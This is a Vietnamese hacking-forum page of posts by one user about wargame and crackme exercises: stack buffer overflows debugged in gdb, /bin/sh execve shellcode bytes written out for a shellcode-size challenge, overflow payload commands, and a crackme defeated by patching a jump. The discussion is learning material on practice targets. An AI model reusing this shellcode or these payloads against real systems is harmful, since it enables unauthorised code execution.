banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Messages posted by: Cognac  XML
Profile for Cognac Messages posted by Cognac [ number of posts not being displayed on this page: 0 ]
 

StarGhost wrote:
Tớ là newbie nên còn đang mày mò nghịch ngợm. Có phải source đại khái là thế này không?
Code:
int doit(char *str)
{
strcpy((char *)((int)&str - 16), str);
printf("%s\n", (char *)((int)&str - 16));
return 0;
}
int main(int argc, char *argv[])
{
if (strlen(argv[1]) > 8)
*(argv[1] + 8) = 0;
doit(argv[1]);
return 0;
}

 

@StarGhost: Cậu reverse tương đối chuẩn, tuy nhiên theo mình thì ko có return 0 ở hàm doit.
Anyway, cậu đã reverse code được rồi thì chạy dùm tớ cái này và giải thích hộ tớ
Máy tớ là
$ gdb ./exploitme1
GNU gdb 6.6-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) run `python -c 'print "AAAA" + "BBBB" + "C"*497'`
Starting program: /home/Cognac/exploitme1 `python -c 'print "AAAA" + "BBBB" + "C"*497'`
AAAABBBB

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? () 

@lamer: Có lẽ ý tưởng về encode và decode gần giống như vầy:
(PHP hình như ko support các function liên quan đến charset US-ASCII, mình demo tạm encode & decode qua lại giữa UTF-8 và UTF-16)
Code:
<?php
function utf16($str)
{
$utf8 = utf8_encode($str);
if(function_exists('mb_convert_encoding'))
{
return mb_convert_encoding($utf8, 'UTF-16', 'UTF-8');
} else
{
return $str;
}
}
echo "encode ..."."<br>";
echo utf16($_GET['str']);
echo "<br>";
echo "decode ..."."<br>";
echo mb_convert_encoding(utf16($_GET['str']), 'UTF-8', 'UTF-16')
?>

Ok, chạy thử
Code:
http://localhost/test.php?str=aaa
-->
encode ...
a�a�a
decode ...
aaa

Kỹ thuật này liên quan đến lĩnh vực Masking Malware chăng? Nhờ bác lamer và các bạn gợi ý smilie
Nó output ra dạng tuple nên truy xuất giá trị của nó để cộng dồn 4 số lại phải dùng kiểu list để lấy giá trị. Công nhận là hơi khó chịu (có lẽ do mới vọc python)

Code:
import socket
import struct
from struct import *
sock = socket.socket()
sock.connect(('vortex.labs.pulltheplug.org', 5842))
len_int = 4
i = 0
sum = 0
while (i != 4):
num = unpack('<I',sock.recv(len_int))
print num[0]
sum += num[0]
i += 1
print sum
sock.send(pack('<I',sum))
print sock.recv(1024)
sock.close()

Code:
wargame$ python test1.py
83808278
183050462
24982680
1273023711
1564865131
Username: vortex1 Password: **********
@rickbb:
bồ thử thêm 2 dòng:
Code:
>>> from struct import *
>>>print unpack('I',in_data)

Mr.Khoai wrote:
anh mrro,

"Bài" này không giới hạn độ dài tối đa ở 30 bytes. Cái khoai đang tìm là một shellcode thật nhỏ. Nhỏ nhất là bao nhiêu thì khoai không biết. Nhưng khoai đã mò được một cái chỉ với 16 bytes, spawn /bin/sh và không bị la lên là "malicious code detected"

Cognac,

Ủa, cứ tưởng code asm là của bồ viết chứ, sao lại bảo khoai chuyển từ shellcode qua assembly?

to all,

Bài này làm chơi cho vui. Đừng vướng vào lối mòn khi suy nghĩ. Nghĩ thoáng một chút sẽ tìm được một con shellcode hiệu quả mà kích thước lại nhỏ

khoai 

nói chơi một câu mà khó chịu vậy bồ smilie. Thực tế spawshell trong trường hợp này thì chắc hẳn là bạn khai thác kiểu "local exploit" chứ ko phải "remote exploit" nên thay vì chúng ta mất 10 byte để push chuỗi /bin/sh, thì cất chuỗi đó trong biến môi trường rồi push vào, tiết kiệm được 5 byte. Bồ có chịu kiểu này ko? smilie
@MrKhoai: Bạn chuyển đoạn shellcode của mình sang assembly dùm, mình sẽ nhờ mọi người giải thích smilie
Đáp án này có vẻ khả thi hơn
Code:
python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x54\x5b\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' >sh3llc0d3


Code:
./testshell sh3llc0d3
your shellcode is less than 30 bytes! 10 bonus points
$

Anh Khoai chạy thử :
Code:
python -c 'print "\x6a\x31\x58\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x54\x5b\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' >input

rồi chạy
Code:
./testshell input

PS: strlen(shellcode >30) && strlen(shellcode <50) thì ko được point nào ?? smilie

mrro wrote:
@Cognac: lúc đó sẽ có hai trường hợp:

- có SSP http://www.trl.ibm.com/projects/security/ssp/) hay không? nếu có SSP thì đối với đoạn mã này mặc dù bị lỗi nhưng sẽ kô thể khai thác được, chỉ có làm cho chương trình nó crash thôi.

- không có SSP (compile với option -fno-stack-protector), lúc này mã dissasembly của đoạn chương trình trên sẽ như sau:

(gdb) disas main
Dump of assembler code for function main:
0x080483a4 <main+0>: lea 0x4(%esp),%ecx
0x080483a8 <main+4>: and $0xfffffff0,%esp
0x080483ab <main+7>: pushl -0x4(%ecx)
0x080483ae <main+10>: push %ebp
0x080483af <main+11>: mov %esp,%ebp
0x080483b1 <main+13>: push %ecx
0x080483b2 <main+14>: sub $0x24,%esp
0x080483b5 <main+17>: movl $0x80484b0,(%esp)
0x080483bc <main+24>: call 0x804830c <printf@plt>
0x080483c1 <main+29>: lea -0xc(%ebp),%eax
0x080483c4 <main+32>: mov %eax,(%esp)
0x080483c7 <main+35>: call 0x80482ec <gets@plt>
0x080483cc <main+40>: lea -0xc(%ebp),%eax
0x080483cf <main+43>: mov %eax,0x4(%esp)
0x080483d3 <main+47>: movl $0x80484c4,(%esp)
0x080483da <main+54>: call 0x804830c <printf@plt>
0x080483df <main+59>: mov $0x0,%eax
0x080483e4 <main+64>: add $0x24,%esp
0x080483e7 <main+67>: pop %ecx
0x080483e8 <main+68>: pop %ebp
0x080483e9 <main+69>: lea -0x4(%ecx),%esp
0x080483ec <main+72>: ret
End of assembler dump. 



Hơi khó exploit một chút, nhưng vẫn có thể exploit được. Bồ thử tìm hiểu cách exploit xem, gợi ý: chú ý vào ecx.

--m 

Đoạn tô vàng có nghĩa là lấy thanh ghi [ecx] -4, rồi move vào esp và ret???
Vậy thì tui sẽ viết đè lên ecx với địa chị ($ebp+4), sau đó overwrite tiếp lên ebp địa chỉ của shellcode:
mrro thử chạy
Code:
python -c 'print "A" * 8 + "\xb2\x83\x04\x08" + "\xAA\xBB\XCC\XDD"' | ./vul

Trong đó \xAA\xBB\XCC\XDD là địa chỉ biến môi trường chứa shellcode chẳng hạn.
Mô hình stack trong trường hợp này:

high mem --------------------------------------------------------> low mem
[*argv] [argc ] [eip ] [ %ecx-4 ] [ebp ] [ecx ] [buf[8] ]



PS: Tui ko nhớ cách input dạng này trong gdb khi run, bác mrro chỉ tui được ko?
http://360.yahoo.com/conmale2000
nhân thêm (x+a) vào phương trình bậc 3, rồi giải phương trình bậc 4 tổng quát = phương pháp Abel smilie
@Tal: Bạn có thể giải thích tại sao khi compile, bạn cho thằng -mpreferred-stack-boundary=2 được ko? smilie
Cái này có lẽ liên quan đến memory allocate của gcc, dung lượng stack frame đc gcc cấp sẽ thay đổi phụ thuộc vào thuộc tính này ?? smilie
Trong trường hợp này là
Code:
0x080483a7 <main+3>: sub $0x10,%esp

@TaL, mrro: Bạn nói rõ hơn về stack layout của gcc 4.2.x được ko? smilie. Cụ thể là nếu compile đoạn mã này bằng gcc 4.2 và preferred-stack-boundary=4 thì sẽ exploit thế nào?
#include <string.h>
#include <stdio.h>

int main(int argc, char **argv)
{
char name[8];
printf("What is your name: ");
gets(name);
printf("Aha, your name is: %s\n",name);
return 0;
}
@Ta 
l: Đề nghị bạn đọc kỹ lại đoạn code của bạn xem độ dài buffer là bao nhiêu trước khi tiếp tục smilie
Nhìn đoạn disassembly của bạn, mình đề nghị bạn chạy thử cái này xem:
python -c 'print "A"*12 + "\xAA\xBB\xXCC\xDD"' |./vul

Lưuý: \xAA\xBB\xCC\xDD là địa chỉ biến môi trường CODE chứa shellcode của bạn
@Tal: bạn phải gdb debug xem chuyện gì xảy ra chứ ? Chứ nói vậy ai mà mò dùm bạn?
Trước hết bạn cho vài thông tin:
1.gcc --version
2.gdb ./target
disassemble main
... vv
Còn một cách nữa để phishing serial là dùng cách này của bác Izik
Tham khảo
http://www.tty64.org/doc/revengwithld.txt

mrro wrote:
Nếu chỉ cần hiện ra "Great work!" thì có cách đơn giản thế này:

$ python -c 'print "\x00\x0a\x00\x0a"' | ./small
-> Small crackme for Stingduk <-
Give me your name (max 50 chars): Pass me the serial (max 50 chars): Great work! 

Trường hợp của bạn mrro là một tình huống đặc biệt của keygen smilie và \x0a tương đương với "\r\n" smilie smilie
Nên dùng python để input cái serial của bạn mèo thì cũng có thể làm thế này ?
Code:
python -c 'print "meoluoi\x0a9118715\x0a"' |./small

hoặc đặc biệt hơn nữa
Code:
python -c 'print "\x00\x20\x00"' |./small

smilie
Còn mình chỉ biết patch smilie
Code:
$ gdb --write ./small -q
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) disassemble main
Dump of assembler code for function main:
0x080487bc <main+0>: push %ebp
0x080487bd <main+1>: mov %esp,%ebp
0x080487bf <main+3>: sub $0xe8,%esp
.........................
.........................
0x080488c4 <main+264>: push %eax ; fake serial
0x080488c5 <main+265>: push %edx ; real serial
0x080488c6 <main+266>: call 0x8048668 <strcmp@plt> ;bp here
0x080488cb <main+271>: add $0x10,%esp
0x080488ce <main+274>: test %eax,%eax
0x080488d0 <main+276>: jne 0x80488fa <main+318> ; Nhảy đến Bad boy nếu sai serial, có thể patch tại đây
0x080488d2 <main+278>: sub $0x8,%esp
0x080488d5 <main+281>: push $0x80486d8
---Type <return> to continue, or q <return> to quit---return
0x080488da <main+286>: sub $0xc,%esp
0x080488dd <main+289>: push $0x8048b84 ; Great work!
0x080488e2 <main+294>: push $0x8049db8
0x080488e7 <main+299>: call 0x8048698 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
0x080488ec <main+304>: add $0x14,%esp
0x080488ef <main+307>: push %eax
0x080488f0 <main+308>: call 0x8048658 <_ZNSolsEPFRSoS_E@plt>
0x080488f5 <main+313>: add $0x10,%esp
0x080488f8 <main+316>: jmp 0x8048920 <main+356>
0x080488fa <main+318>: sub $0x8,%esp
0x080488fd <main+321>: push $0x80486d8
0x08048902 <main+326>: sub $0xc,%esp
0x08048905 <main+329>: push $0x8048b90 ; No luck here mate
0x0804890a <main+334>: push $0x8049db8
------
(gdb) x/x *0x080488d0
0xec832875: Cannot access memory at address 0xec832875
(gdb) set {int} 0x080488d0=0xec832874
(gdb) quit

Code:
$ ./small
-> Small crackme for Stingduk <-
Give me your name (max 50 chars): hello-world
Pass me the serial (max 50 chars): gudbye-world
Great work!








 

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|